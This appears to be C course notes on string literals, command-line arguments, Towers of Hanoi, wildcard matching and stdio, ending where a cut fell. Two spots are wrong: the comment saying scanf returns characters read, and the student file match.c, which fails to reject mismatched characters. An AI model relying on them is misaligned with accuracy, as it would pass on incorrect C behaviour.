An array initialized from a literal is a modifiable copy; a pointer to a literal must not be used for writing. Indexing a literal also reaches its terminating zero:

#include <stdio.h>

int main() {
    char str[] = "Hello";
    char* ptr = "there";
    str[1] = *("a"+1);      /* the zero byte ending "a" */
    /* ptr[1] = 'a'; would write into a literal: undefined */
    printf("%s %s\n", str, ptr);
    return 0;
}
H there
Detailed notes - 4.3.19: String literals

1

"Hello" supplies six char elements: five letters and a terminating zero

  • literal has static storage duration
  • implementation commonly places it in read-only storage

2

read-only literal storage can be shared between executing program instances

  • no private mutable copy is needed for each process

3

in most expression contexts, a string literal converts to a pointer to its first char

  • literal itself is an array, not inherently a pointer object

4

C and C++ differ in literal element qualification

  • C char array versus C++ const char array
  • neither permits modifying literal contents

5

literal indexing follows normal array/pointer rules

  • "Abrakadabra"[4] yields 'k'
  • *"Abrakadabra" yields 'A'
  • use direct or named expressions where they communicate the purpose better

6

char str[] = "Hello" initializes a separate six-element array

  • equivalent contents: { 'H', 'e', 'l', 'l', 'o', 0 }
  • mutable unless the array is const-qualified
  • char *ptr = "Hello" instead initializes a pointer to literal storage

7

array and pointer have different operations and sizes

  • ptr can be reassigned; array str cannot be assigned as a whole
  • sizeof(str) is 6; sizeof(ptr) is pointer size
  • str[4] = 0 changes the mutable array into "Hell"
  • modifying ptr[4] when ptr addresses the literal is undefined behavior
Initialization can create a separate mutable array or an address of literal storage.
A pointer to a literal is not a character array. Open full size - Editable SVG

Command Line Arguments

/*
 * - argc: argument count (including program name).
 * - argv: array of string pointers (char **).
 * - argv[0] is the program name.
 * - argv[argc] is always NULL.
 */
#include <stdio.h>

int main(int argc, char **argv)
{
    int i;
    char **p;

    /* Print program name */
    printf("My name is %s\n", argv[0]);

    /* Method 1: Iterate using argc */
    for (i = 1; i < argc; i++)
        printf("[%s]\n", argv[i]);

    /* Method 2: Iterate using NULL terminator */
    p = argv + 1;
    while (*p) {
        printf("[%s]\n", *p);
        p++;
    }

    return 0;
}
Detailed notes - 4.3.20: Command-line arguments

1

main can receive int argc, char **argv

  • argc: argument count, conventionally including invocation name
  • argv: array of pointers to NUL-terminated argument strings
  • argv[argc] is NULL
  • argv[0] conventionally identifies how the program was invoked
  • user arguments normally occupy indices 1 through argc-1
  • %s prints a string supplied by pointer
  • shell quoting determines which spaces are inside one argument
  • iterate by argc or by the final NULL pointer

Program Examples

Towers of Hanoi

Write a recursive program to solve the Towers of Hanoi. It must take the number of disks as a command-line argument and print the exact sequence of moves required.

Show the solution
#include <stdio.h>
#include <stdlib.h>

void solve(int source, int target, int interm, int n)
{
    if (n == 0)
        return;
    solve(source, interm, target, n - 1);
    printf("%d: %d -> %d\n", n, source, target);
    solve(interm, target, source, n - 1);
}

int main(int argc, char **argv)
{
    int n;

    if (argc < 2) {
        fprintf(stderr, "No parameter given\n");
        return 1;
    }

    n = atoi(argv[1]);
    if (n < 1) {
        fprintf(stderr, "Incorrect token count\n");
        return 2;
    }

    solve(1, 3, 2, n);
    return 0;
}

String pattern matching

Implement a string matching function that supports:

Show the solution
int match(const char *str, const char *pat)
{
    int i;

    for ( ; ; str++, pat++) {
        switch (*pat) {
        case 0:
            return *str == 0;
        case '*':
            for (i = 0; ; i++) {
                if (match(str + i, pat + 1))
                    return 1;
                if (!str[i])
                    return 0;
            }
        case '?':
            if (!*str)
                return 0;
            break;
        default:
            if (*str != *pat)
                return 0;
        }
    }
}
Detailed notes - 4.3.22: Selected examples

1

two worked programs connect the C facilities to earlier Pascal/assembly examples

2

recursive Tower of Hanoi:

  • solve(source, target, intermediate, n)
  • n == 0: return
  • move n-1 from source to intermediate
  • print the move of disk n from source to target
  • move n-1 from intermediate to target
  • main requires a positive disk count from argv[1]
  • example uses atoi; robust numeric validation needs a checked conversion

3

fprintf(stderr, ...) sends diagnostics to the error stream

  • same formatting approach as printf with an extra stream argument
  • keeps failures separate from the program's ordinary output

4

wildcard match(str, pat) uses pointer advancement

  • pattern ends: success only if input also ends
  • ?: require one input character
  • ordinary character: require equality
  • *: recursively try remaining pattern against every remaining input suffix, including the empty suffix
  • stop the search on success or after exhausting the input

alternative splits star handling into starmatch

  • match handles one pattern case and recurses on remaining characters
  • starmatch tries successive input suffixes
  • mutual recursion requires a declaration before the first cross-call
Examples & tests (9 files) - 4.3.22: Selected examples
Book exampleBook example: hanoi.cIn catalog
hanoi.cC / 27 lines
#include <stdio.h>
#include <stdlib.h> /* for atoi */

static void solve(int source, int target, int interm, int n)
{
    if(n == 0)
        return;
    solve(source, interm, target, n-1);
    printf("%d: %d -> %d\n", n, source, target);
    solve(interm, target, source, n-1);
}

int main(int argc, char **argv)
{
    int n;
    if(argc < 2) {
        fprintf(stderr, "No parameter given\n");
        return 1;
    }
    n = atoi(argv[1]);
    if(n < 1) {
        fprintf(stderr, "Incorrect token count\n");
        return 2;
    }
    solve(1, 3, 2, n);
    return 0;
}
Book exampleBook example: match_c.cIn catalog
match_c.cC / 40 lines
#include <stdio.h>

int match(const char *str, const char *pat)
{
    int i;
    for(;; str++, pat++) {
        switch(*pat) {
        case 0:
            return *str == 0;
        case '*':
            for(i=0; ; i++) {
                if(match(str+i, pat+1))
                    return 1;
                if(!str[i])
                    return 0;
            }
        case '?':
            if(!*str)
                return 0;
            break;
        default:
            if(*str != *pat)
                return 0;
        }
    }
}


int main(int argc, const char **argv)
{
    if(argc < 3) {
        printf("Need two arguments\n");
        return 1;
    }
    if(match(argv[1], argv[2]))
        printf("YES\n");
    else
        printf("NO\n");
    return 0;
}
Book exampleBook example: match_c2.cIn catalog
match_c2.cC / 49 lines
#include <stdio.h>

int starmatch(const char *str, const char *pat);

int match(const char *str, const char *pat)
{
    switch(*pat) {
        case 0:
            return *str == 0;
        case '?':
            if(!*str)
                return 0;
            return match(str+1, pat+1);
        case '*':
            return starmatch(str, pat+1);
        default:
            if(*str != *pat)
                return 0;
            return
                match(str+1, pat+1);
    }
}

int starmatch(const char *str, const char *pat)
{
    int i;
    for(i=0; ; i++){
        int res = match(str+i, pat);
        if(res)
            return 1;
        if(!str[i])
            return 0;
    }
}


int main(int argc, const char **argv)
{
    if(argc < 3) {
        printf("Need two arguments\n");
        return 1;
    }
    if(match(argv[1], argv[2]))
        printf("YES\n");
    else
        printf("NO\n");
    return 0;
}
Section test22 (04-03)In catalog
hanoi-00.cC / 41 lines
#include <stdio.h>

int str2int(char *s) {
    int n = 0;
    for (int i = 0; s[i]; i++) {
        if (s[i] < '0' || s[i] > '9')
            return -1;
        else {
            n *= 10;
            n += s[i] - '0';
        }
    }
    return n;
}

void move_disk(int disks, int src, int tmp, int dest) {
    if (!disks)
        return;
    else {
        move_disk(disks-1, src, dest, tmp);
        printf("%d: %d -> %d\n", disks, src, dest);
        move_disk(disks-1, tmp, src, dest);
    }
}

int main(int argc, char **argv) {
    int number_of_disks;
    if (argc != 2) {
        printf("Wrong number of inputs\n");
        return 1;
    }
    number_of_disks = str2int(argv[1]);
    if (number_of_disks == -1) {
        printf("Enter a valid number\n");
        return 2;
    }

    move_disk(number_of_disks, 1, 2, 3);

    return 0;
}
hanoi-01.cC / 26 lines
#include <stdio.h>
#include <stdlib.h>

void move_disk(int disks, int src, int tmp, int dest, int *i) {
    if (!disks)
        return;
    move_disk(disks-1, src, dest, tmp, i);
    printf("%d\t%d: %d -> %d\n", (*i)++, disks, src, dest);
    move_disk(disks-1, tmp, src, dest, i);
}

int main(int argc, char **argv) {
    int i = 1;
    int number_of_disks;
    if (argc != 2) {
        fprintf(stderr, "Wrong number of inputs\n");
        return 1;
    }
    number_of_disks = atoi(argv[1]);
    if (number_of_disks < 1) {
        fprintf(stderr, "Enter a valid number\n");
        return 2;
    }
    move_disk(number_of_disks, 1, 2, 3, &i);
    return 0;
}
hanoi-02.cC / 155 lines
#include <stdio.h>
#include <stdlib.h>

/*
    i - move number
    if (i % 2 == 1) {
        if (n % 2 == 0)
            1 -> 2 -> 3 -> 1
        else
            1 -> 3 -> 2 -> 1
    } else {
        other move than makes sense
    }
*/

enum { NRODS = 3};

struct disk {
    int num;
    struct disk *next;
};

struct move {
    int num;
    int src;
    int dest;
};

void place_disk(struct disk **d, int num) {
    struct disk *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->num = num;
    tmp->next = *d;
    *d = tmp;
}

void remove_disk(struct disk **d, int *num) {
    struct disk *tmp;
    tmp = *d;
    *num = tmp->num;
    *d = (*d)->next;
    free(tmp);
}

void print_rod(const struct disk *d) {
    for ( ; d; d = d->next)
        printf("%d\n", d->num);
}

int in_rod(const struct disk *d, int num) {
    for ( ; d; d = d->next)
        if (d->num == num)
            return 1;
    return 0;
}

int empty_rod(const struct disk *d) {
    if (d)
        return 0;
    else
        return 1;
}

int find_disk(struct disk *disks[], int num) {
    int found = 0;
    for (int i = 1; i <= NRODS; i++) {
        found = in_rod(disks[i], num);
        if (found)
            return i;
    }
    return 0;
}

int find_empty(struct disk *disks[]) {
    int found = 0;
    for (int i = 1; i <= NRODS; i++) {
        found = empty_rod(disks[i]);
        if (found)
            return i;
    }
    return 0;
}

int rotate(int x, int sign) {
    int res;
    res = x + sign;
    if (res == NRODS + 1)
        res = 1;
    else if (res == 0)
        res = NRODS;
    return res;
}

int move_smallest(struct disk *disks[], int sign, struct move *res) {
    res->src = find_disk(disks, 1);
    if (!res->src) {
        fprintf(stderr, "Disk suddenly disappeared\n");
        exit(1);
    }
    res->dest = rotate(res->src, sign);
    return 0;
}

/* find 2, check if it is not blocked,
   otherwise find 3, 4, ... */
int move_other(struct disk *disks[], int ndisks, struct move *res) {
    for (int i = 2; i <= ndisks; i++) {
        res->src = find_disk(disks, i);
        if (i == disks[res->src]->num) {
            res->dest = find_empty(disks);
            if (res->dest)
                return 0;
            else
                for (int j = i + 1; j <= ndisks; j++) {
                        res->dest = find_disk(disks, j);
                        if (j == disks[res->dest]->num)
                            return 0;
                }
        }
    }
    return 0;
}

void move_disks(int ndisks, int src, int tmp, int dest) {
    struct move res;
    int sign = (ndisks % 2 == 0) ? 1 : -1;
    struct disk *disks[1+NRODS] = {NULL, NULL, NULL, NULL}; /* only 1-3 used */
    for (int i = ndisks; i > 0; i--)
        place_disk(&disks[src], i);

    for (int i = 1; disks[1] || disks[2]; i++) {
        if (i % 2 == 1)
            move_smallest(disks, sign, &res);
        else
            move_other(disks, ndisks, &res);
        remove_disk(&disks[res.src], &res.num);
        place_disk(&disks[res.dest], res.num);
        printf("%d: %d -> %d\n", res.num, res.src, res.dest);
    }
}

int main(int argc, char **argv) {
    int number_of_disks;
    if (argc != 2) {
        fprintf(stderr, "Wrong number of inputs\n");
        return 1;
    }
    number_of_disks = atoi(argv[1]);
    if (number_of_disks < 1) {
        fprintf(stderr, "Enter a valid number\n");
        return 2;
    }
    move_disks(number_of_disks, 1, 2, 3);
    return 0;
}
hanoi-03.cC / 103 lines
#include <stdio.h>
#include <stdlib.h>

struct disk {
    int num;
    struct disk *next;
};

struct rods {
    int ndisks;
    int from;
    int via;
    int to;
};

int continuos_count_rod(const struct disk *d) {
    int count;
    for (count = 0; d && d->num == count + 1; d = d->next)
        count++;
    return count;
}

void put_disk(struct disk **d, int num) {
    struct disk *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->num = num;
    tmp->next = *d;
    *d = tmp;
}

void move_disk(struct disk **src, struct disk **dst) {
    struct disk *tmp;
    tmp = *src;
    *src = (*src)->next;
    tmp->next = *dst;
    *dst = tmp;
}

void swap(int *x, int *y) {
    int tmp = *x;
    *x = *y;
    *y = tmp;
}

void from_smallest(struct rods *r, struct disk *disks[]) {
    if (disks[r->to] && disks[r->to]->num == 1)
            swap(&r->from, &r->to);
    else if (disks[r->via] && disks[r->via]->num == 1)
            swap(&r->from, &r->via);
}

void not_smallest_to_from(struct rods *r, struct disk *disks[]) {
    if (disks[r->from] && disks[r->from]->num == 1)
        swap(&r->from, &r->via);
    else if (disks[r->to] && disks[r->to]->num == 1)
        swap(&r->to, &r->via);
}

void decide_subtower(struct rods *r, struct disk *disks[]) {
    if (disks[r->from]) {
        int count = continuos_count_rod(disks[r->from]);
        for (int i = count; i > 1; i--)
            swap(&r->via, &r->to);
    }
}

void solve(struct rods *r) {
    struct disk *disks[] = {NULL, NULL, NULL, NULL};
    for (int i = r->ndisks; i > 0; i--)
        put_disk(&disks[r->from], i);
    for (int i = 1; (disks[1] || disks[2]);) {
        if (i % 2 == 1)
            from_smallest(r, disks);
        else
            not_smallest_to_from(r, disks);
        decide_subtower(r, disks);
        if (disks[r->from] &&
                (!disks[r->to] ||
                 (disks[r->from]->num < disks[r->to]->num))) {
            move_disk(&disks[r->from], &disks[r->to]);
            printf("%d\t%d: %d -> %d\n",
                    i, disks[r->to]->num, r->from, r->to);
            i++;
        } else
            swap(&r->to, &r->from);
    }
}

int main(int argc, char *argv[]) {
    int ndisks;
    if (argc < 2) {
        fprintf(stderr, "Usage: ./prog <number of disks>\n");
        return 1;
    }
    ndisks = atoi(argv[1]);
    if (ndisks < 1) {
        fprintf(stderr, "Enter a valid number of disks\n");
        return 2;
    }
    struct rods r = {ndisks, 1, 2, 3};
    solve(&r);
    return 0;
}
hanoi-04.cC / 96 lines
#include <stdio.h>
#include <stdlib.h>

enum purpose { TEMP, LARGEST, REST };

struct task {
    int from, to, how_many;
    enum purpose why;
    struct task *next;
};

void add_task(struct task **t, int from, int to, int how_many,
        enum purpose why) {
    struct task *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->from = from;
    tmp->to = to;
    tmp->how_many = how_many;
    tmp->why = why;
    tmp->next = *t;
    *t = tmp;
}

void remove_task(struct task **t) {
    struct task *tmp;
    tmp = *t;
    *t = (*t)->next;
    free(tmp);
}

int via_which(int from, int to) {
    if (from != 1 && to != 1)
        return 1;
    else if (from != 2 && to != 2)
        return 2;
    else
        return 3;
}

void case_temp(struct task **t) {
    (*t)->why = LARGEST;
    int how_many = (*t)->how_many;
    if (how_many > 1) {
        int from = (*t)->from;
        int to = via_which((*t)->from, (*t)->to);
        how_many--;
        add_task(t, from, to, how_many, TEMP);
    }
}

void case_largest(struct task **t, int *i) {
    (*t)->why = REST;
    printf("%d\t%d: %d -> %d\n", *i, (*t)->how_many, (*t)->from, (*t)->to);
    (*i)++;
    int how_many = (*t)->how_many;
    if (how_many > 1) {
        int from = via_which((*t)->from, (*t)->to);
        int to = (*t)->to;
        how_many--;
        add_task(t, from, to, how_many, TEMP);
    }
}

void solve(struct task **t, int how_many, int from, int via, int to) {
    add_task(t, from, to, how_many, TEMP);
    for (int i = 1; *t;) {
        switch ((*t)->why) {
            case TEMP:
                case_temp(t);
                break;
            case LARGEST:
                case_largest(t, &i);
                break;
            case REST:
                remove_task(t);
        }
    }
}

int main(int argc, char **argv) {
    int how_many, from = 1, via = 2, to = 3;
    struct task *t = NULL;

    if (argc < 2) {
        fprintf(stderr, "Usage: ./prog <number of disks>\n");
        return 1;
    }
    how_many = atoi(argv[1]);
    if (how_many < 1) {
        fprintf(stderr, "Enter a valid number of disks\n");
        return 2;
    }

    solve(&t, how_many, from, via, to);
    return 0;
}
match.cC / 46 lines
#include <stdio.h>

int match_pattern(char *s, int is, char *p, int ip) {
    int res;
    while (1) {
        if (p[ip] == 0)
            if (s[is] == 0)
                return 1;
            else
                return 0;
        else if (p[ip] == '*') {
            ip++;
            for (; s[is]; is++) {
                res = match_pattern(s, is, p, ip);
                if (res == 1)
                    return 1;
            }
            if (res == 0)
                return 0;
        } else if (s[is] == 0 && p[ip] != '?' && s[is] != p[ip])
            return 0;
        else {
            is++;
            ip++;
        }
    }
}


int main(int argc, char **argv) {
    if (argc != 3) {
        fprintf(stderr, "Usage: ./match <string> <patter>\n");
        return 1;
    }
    int result = match_pattern(argv[1], 0, argv[2], 0);
    printf("%d\n", result);
    /*
    if (result)
        printf("String %s matches pattern %s\n",
            argv[1], argv[2]);
    else
        printf("String %s does NOT match pattern %s\n",
            argv[1], argv[2]);
    */
    return 0;
}

Standard Input/Output functions

Detailed notes - 4.4: Standard input/output functions

1

high-level standard I/O is provided through <stdio.h>

  • library facilities sit above the core language and OS interfaces

Character Input/Output

Concept / Function Description
getchar() Reads one byte from stdin and returns it as int
EOF End-of-file identifier, usually -1
Why return int Prevents collision between EOF and byte 255
putchar(int c) Only 1 byte of 4 used; Returns c on success, EOF on error
#include <stdio.h>

int main()
{
    int c; /* int and not char so that it can store EOF */
    while ((c = getchar()) != EOF) {
        if (c == '\n')
            printf("OK\n");
    }
    return 0;
}
#include <stdio.h>

int main()
{
    int c, reached_space;
    reached_space = 0;
    while ((c = getchar()) != EOF) {
        switch(c) {
        case '\n':
            putchar('\n');
            reached_space = 0;
            break;
        case ' ':
            reached_space = 1;
            break;
        default:
            if (!reached_space)
                putchar(c);     /* c is int, but only 1 byte of 4
                                   will be used; putchar returns c
                                   if everything OK otherwise EOF */
        }
    }
    return 0;
}
Detailed notes - 4.4.1: Character input/output

1

standard input/output need not be keyboard and screen

  • caller can redirect them to files, pipes, or other streams

2

getchar() reads one byte from stdin

  • returns int, not char
  • must represent both a successful byte and a no-byte result
  • end of file is a normal possible input outcome

3

successful byte is returned as unsigned char converted to int

  • on an eight-bit-byte target, values 0..255
  • every byte value can occur in binary input
  • EOF must therefore be distinguishable from those 256 values

4

EOF is a negative integer macro, commonly -1

  • use EOF rather than assuming a particular numeric value

5

example reads until EOF and prints OK for each newline

  • int c; while ((c = getchar()) != EOF) { ... }
  • assignment in the condition avoids duplicating getchar calls
  • parentheses ensure comparison uses the assigned character value

6

line-length counter:

  • initialize n = 0
  • newline: print n and reset it
  • other byte: increment n
  • this example reports only lines terminated by newline
  • keep c as int so a byte such as 255 is not confused with EOF

7

check the int result before converting it to char

  • premature narrowing loses the distinction between data and EOF

8

putchar(c) writes one byte to stdout

  • argument is converted to unsigned char
  • do not treat out-of-range integers as additional character values

9

putchar returns the written character on success or EOF on error

  • checking output errors matters when successful delivery is required

10

untilspace example prints each line's prefix before the first space

  • pr flag starts true
  • space clears pr
  • other characters print only while pr is true
  • newline always prints and resets pr for the next line
Examples & tests (2 files) - 4.4.1: Character input/output
Book exampleBook example: untilspace.cIn catalog
untilspace.cC / 19 lines
#include <stdio.h>
int main()
{
    int c, pr;
    pr = 1;   /* true */
    while((c = getchar()) != EOF) {
        if(c == '\n') {
            putchar('\n');
            pr = 1;
        } else
        if(c == ' ') {
            pr = 0;
        } else {
            if(pr)
                putchar(c);
        }
    }
    return 0;
}
Section test01 (04-04)In catalog
echo.cC / 11 lines
#include <stdio.h>

int main()
{
    int c;

    while ((c = getchar()) != EOF)
        putchar(c);

    return 0;
}

Formatted Input/Output

int printf(const char *format, ...);
/* returns number of characters successfully written */
Specifier Description
d, i Signed decimal integer
u Unsigned decimal integer
o Unsigned octal integer
x, X Unsigned hex integer
f, F Decimal floating-point
e, E Scientific notation
g, G Shortest of f or e
c Single character
s String
p Memory address
% Literal percent sign
Char Example Meaning
N %5d Minimum field width
.N %.2f Precision (digits/chars)
- %-5d Left align output
0 %05d Pad with leading zeros
+ %+d Always print the sign
" " % d Space for positive sign
# %#x Alternative form
h %hd short / unsigned short
l %ld long / unsigned long
ll %lld long long
L %Lf long double
int scanf(const char *format, ...);
/* returns number of characters successfully read */
Specifier Description Notes
d Decimal integer
u Unsigned decimal
o Octal integer
x Hexadecimal integer
i Integer (dec/hex/oct) Detects base from prefix
f, e, g Float Use %lf for double
c Single character Does not skip leading spaces
s String (stops at space) Always specify width limits
[] Scanset (match chars) Stops at first non-match
[^] Scanset (exclude chars) Reads until comma or newline
p Memory address
Detailed notes - 4.4.2: Formatted input/output

1

printf(const char *format, ...) is variadic

  • format describes the additional arguments
  • arguments must match the required types after default promotions

2

printf interprets ordinary characters and % conversion directives

  • d/i: signed decimal; u: unsigned decimal; o: octal; x/X: hexadecimal
  • f/F: fixed-point; e/E: scientific notation; g/G: precision-dependent choice
  • c: character; s: string; p: void* pointer representation
  • %% prints one percent sign without consuming an argument

3

conversion layout: % flags width .precision length specifier

  • width: minimum field size
  • -: left align; 0: numeric zero padding
  • +: always show sign; space: reserve a position for a positive sign
  • #: alternative representation, e.g. base prefixes or retained decimal point
  • default padding is spaces on the left

4

width does not truncate a number

  • %3d applied to 1234 still prints all four digits

5

precision depends on conversion

  • f/e: digits after decimal point
  • g: significant digits
  • s: maximum number of bytes printed from the string
  • [%7.5s] with abrakadabra -> [ abrak]

6

integer precision gives a minimum number of digits

  • width can add spaces outside those zero-padded digits
  • [%6.4d] with 12 -> [ 0012]

7

length modifiers select the expected numeric type

  • l: long; ll: long long; L: long double
  • h / hh: short / char conversion after integer argument promotion
  • variadic float arguments promote to double
  • small integer arguments undergo integer promotion
  • this is not a claim that all prototyped function parameters are promoted

8

% #7.4Lg combines:

  • space and # flags
  • width 7, precision 4
  • long double with g representation

9

printf can obtain width/precision from int arguments

  • printf("%*.*f", width, precision, value)
  • each * consumes its own argument before the formatted value

10

scanf is also variadic, but its formatting rules differ from printf

  • additional arguments are destination pointers, not values to print

11

scanf conversion directive contains %, optional *, width, length, specifier

  • width is a maximum input width
  • no printf-style precision field
  • * suppresses assignment and consumes no destination argument

12

whitespace in a scanf format skips input whitespace

  • can match spaces, tabs, and newlines
  • may keep waiting for a later non-whitespace character

13

ordinary format characters must match input literally

  • mismatch stops processing
  • unsuccessful conversions also stop; caller must decide how to recover

14

scanf pointers must match the destination type exactly

  • float* and double* are not interchangeable
  • integer promotions of values do not resize pointed-to storage

15

scanf distinctions:

  • %d: decimal integer; %i: infer decimal/octal/hexadecimal from prefix
  • %f: float*; %lf: double*
  • printf uses double for both corresponding floating conversions

16

numeric scanf lengths:

  • h: short; hh: signed/unsigned char
  • l: long; ll: long long
  • do not use the book's nonportable L-for-integer spelling
  • floating L: long double
  • %c reads characters without appending a zero terminator
  • %s reads a whitespace-delimited word
  • %[set] and %[^set] use included/excluded character sets
  • include ] first when it is a member of the scan set

17

string input requires an explicit bound

  • char buf[100] needs width at most 99 for %s or %[...]
  • remaining byte holds the terminating zero
  • missing width permits writing beyond the destination array

18

scanf cannot receive width through a separate * argument

  • its * means assignment suppression
  • dynamically building a format string is possible but complicates input handling

19

author limits scanf to simple programs

  • detailed validation and useful error recovery often need explicit parsing

20

scanf returns successful assignments, not bytes consumed

  • expected three numbers: require result 3
  • 0: matching failed before any assignment
  • 1 or 2: partial success
  • EOF: input failure before the first conversion/assignment succeeds
  • always inspect the return value before using destination objects
Examples & tests (5 files) - 4.4.2: Formatted input/output
Book exampleBook example: sin360.cIn catalog
sin360.cC / 21 lines
#include <stdio.h>
#include <math.h>

int main()
{
    FILE *f;
    int angledeg;
    f = fopen("sincos.txt", "w");
    if(!f) {
        perror("sincos.txt");
        return 1;
    }
    for(angledeg = 0; angledeg < 360; angledeg++) {
        double rads = (double)angledeg * M_PI / 180.0;
        double s = sin(rads);
        double c = cos(rads);
        fprintf(f, "%03d % 7.5f % 7.5f\n", angledeg, s, c);
    }
    fclose(f);
    return 0;
}
Section test02 (04-04)In catalog
functions.cC / 9 lines
void test_int(char c) {

}

int main() {
    char c = 'a';
    test_int(c);
    return 0;
}
functions.sAssembly / 65 lines
   .file   "functions.c"
    .intel_syntax noprefix
    .text
    .globl  test_int
    .type   test_int, @function
test_int:
.LFB0:
    .cfi_startproc
    push    ebp
    .cfi_def_cfa_offset 8
    .cfi_offset 5, -8
    mov ebp, esp
    .cfi_def_cfa_register 5
    sub esp, 4
    call    __x86.get_pc_thunk.ax
    add eax, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_
    mov eax, DWORD PTR 8[ebp]
    mov BYTE PTR -4[ebp], al
    nop
    leave
    .cfi_restore 5
    .cfi_def_cfa 4, 4
    ret
    .cfi_endproc
.LFE0:
    .size   test_int, .-test_int
    .globl  main
    .type   main, @function
main:
.LFB1:
    .cfi_startproc
    push    ebp
    .cfi_def_cfa_offset 8
    .cfi_offset 5, -8
    mov ebp, esp
    .cfi_def_cfa_register 5
    sub esp, 16
    call    __x86.get_pc_thunk.ax
    add eax, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_
    mov BYTE PTR -1[ebp], 97
    movsx   eax, BYTE PTR -1[ebp]
    push    eax
    call    test_int
    add esp, 4
    mov eax, 0
    leave
    .cfi_restore 5
    .cfi_def_cfa 4, 4
    ret
    .cfi_endproc
.LFE1:
    .size   main, .-main
    .section    .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
    .globl  __x86.get_pc_thunk.ax
    .hidden __x86.get_pc_thunk.ax
    .type   __x86.get_pc_thunk.ax, @function
__x86.get_pc_thunk.ax:
.LFB2:
    .cfi_startproc
    mov eax, DWORD PTR [esp]
    ret
    .cfi_endproc
.LFE2:
    .ident  "GCC: (Debian 14.2.0-19) 14.2.0"
    .section    .note.GNU-stack,"",@progbits
scanf-00.cC / 8 lines
#include <stdio.h>

int main() {
    char c;
    scanf("%c", &c);
    printf("%c", c);
    return 0;
}
scanf-01.cC / 9 lines
#include <stdio.h>

int main() {
    int a, b, c, res;
    res = scanf("%d %d %d", &a, &b, &c);
    printf("%d\n", res);
    /* printf("%d %d %d\n", a, b, c); */
    return 0;
}

Working with text streams

Function Signature Description
FILE *fopen(const char *name, const char *mode) Opens a file and returns a stream pointer
int fclose(FILE *f) Closes an open input/output stream
char *strerror(int errnum) Returns a string describing an error code
void perror(const char *s) Prints a descriptive error message to stderr
int fgetc(FILE *stream) Reads a single character from a stream
int fputc(int c, FILE *stream) Writes a single character to a stream
int ungetc(int c, FILE *stream) Pushes a character back into an input stream
int fprintf(FILE *stream, const char *format, ...) Writes formatted output to a specified stream
int fscanf(FILE *stream, const char *format, ...) Reads formatted input from a stream
FILE *f;
f = fopen("file.txt", "r");
if (!f) {
    perror("file.txt"); /* file.txt: no such file or directory */
    exit(1);
}
fclose(f);              /* 0 if success, -1 if failure */
Mode Description Read Position Write Position
r Read-only, fails if missing Beginning N/A
r+ Read/write, fails if missing Beginning Beginning
w Write-only, creates or clears file N/A Beginning
w+ Read/write, creates or clears file Beginning Beginning
a Append-only, creates or appends N/A End
a+ Read/append, creates or appends Beginning End
b Binary modifier. Ignored on Unix, crucial for Windows As base mode As base mode
#include <stdio.h>

int main(int argc, char **argv)
{
    FILE *from, *to;
    int c, lcnt;
    if (argc < 3) {
        fprintf(stderr, "Too few arguments\n");
        return 1;
    }
    from = fopen(argv[1], "r");
    if (!from) {
        perror(argv[1]);
        return 2;
    }
    to = fopen(argv[2], "w");
    if (!to) {
        perror(argv[2]);
        fclose(from);
        return 3;
    }
    lcnt = 0;
    while ((c = fgetc(from)) != EOF) {
        fputc(c, to);
        if (c == '\n')
            lcnt++;
        if (lcnt >= 10)
            break;
    }
    fclose(to);
    fclose(from);
    return 0;
}
#include <stdio.h>
#include <math.h>

int main()
{
    FILE *f;
    int angledeg;
    f = fopen("sincos.txt", "w");
    if (!f) {
        perror("sincos.txt");
        return 1;
    }
    for (angledeg = 0; angledeg < 360; angledeg++) {
        double rads, s, c;
        rads = (double)angledeg * M_PI / 180.0;
        s = sin(rads);
        c = cos(rads);
        fprintf(f, "%03d % 7.5f % 7.5f\n", angledeg, s, c);
    }
    fclose(f);
    return 0;
}
void intfilesum(FILE *f, int *sum, int *count)
{
    int n;
    *count = 0;
    *sum = 0;
    while (fscanf(f, "%d", &n) == 1) {
        *sum += n;
        (*count)++;
    }
}
Detailed notes - 4.4.3: Working with streams

1

opening a file creates another I/O stream

  • standard streams are only three predefined instances

2

FILE* identifies library-managed stream state

  • FILE's internals are implementation-specific
  • use the documented functions rather than accessing its internal fields

3

copying a FILE* copies a reference to stream state, not the state itself

  • pointers can be assigned, passed by value, and returned
  • duplicate references still designate the same stream

4

stdio has separate function names for operations on an explicitly supplied stream

5

fopen(name, mode) returns a FILE*

  • both arguments are read-only strings
  • in Unix, leading / gives an absolute path; otherwise resolve from current directory

6

fopen modes:

  • r: read existing file
  • r+: read/write existing file
  • w / w+: create or truncate, with write / read-write access
  • a / a+: create if needed; writes append, with optional reading
  • use positioning/flush rules when changing direction on an update stream
  • do not assume identical initial read-position behavior for a+ on every system

7

b selects binary mode where text/binary streams differ

  • normally has no effect on Unix
  • can matter for byte preservation on other systems

8

NULL means opening failed

  • reasons include missing paths, permissions, and other resource failures
  • check before performing any stream operation

9

real input/output failures are part of normal program design

  • decide both how to identify the cause and how to respond

10

error policy depends on the caller's context

  • main may report an error and exit unsuccessfully
  • reusable library code should normally return failure to its caller
  • library should not arbitrarily print or terminate the whole application

11

errno records errors for interfaces that document using it

  • include <errno.h>
  • ENOENT: missing file/path component
  • EACCES: insufficient permission
  • EROFS: attempted write to read-only filesystem
  • inspect errno after the operation reports failure

12

function documentation lists possible errors

  • handle important special cases explicitly
  • strerror(error_code) supplies a corresponding diagnostic string

13

perror(context) prints a contextual errno diagnostic to stderr

  • example: fopen failed -> perror(filename)
  • output includes context, colon, and error description
  • locale can affect message language

14

author prefers English diagnostics while developing programs

  • locale selection is a tooling preference, not an I/O requirement

15

fprintf(stderr, ...) prints a custom diagnostic

  • error reporting need not be limited to errno-based messages

fclose(stream) closes the stream and releases its library resources

  • 0 on success; EOF on failure
  • stream must not be used afterward

16

check fclose after writing

  • earlier output may have succeeded only in filling a library buffer
  • flushing during close may reveal the actual write failure

17

kernel buffering can similarly delay errors until a low-level close/writeback operation

  • library buffering and kernel buffering are distinct layers

18

fgetc(stream) / fputc(character, stream) generalize getchar / putchar

  • same byte-versus-EOF distinction
  • example copies up to ten newline-terminated lines between named files
  • validate arguments and both opens
  • close the input if opening the output fails
  • count newlines while copying; close both streams afterward
  • complete code also checks read, write, and close failures

ungetc(character, stream) pushes a character back for a later read

  • at least one character of pushback is guaranteed
  • need not be identical to the character previously read
  • larger pushback capacity is implementation-dependent; check failure

19

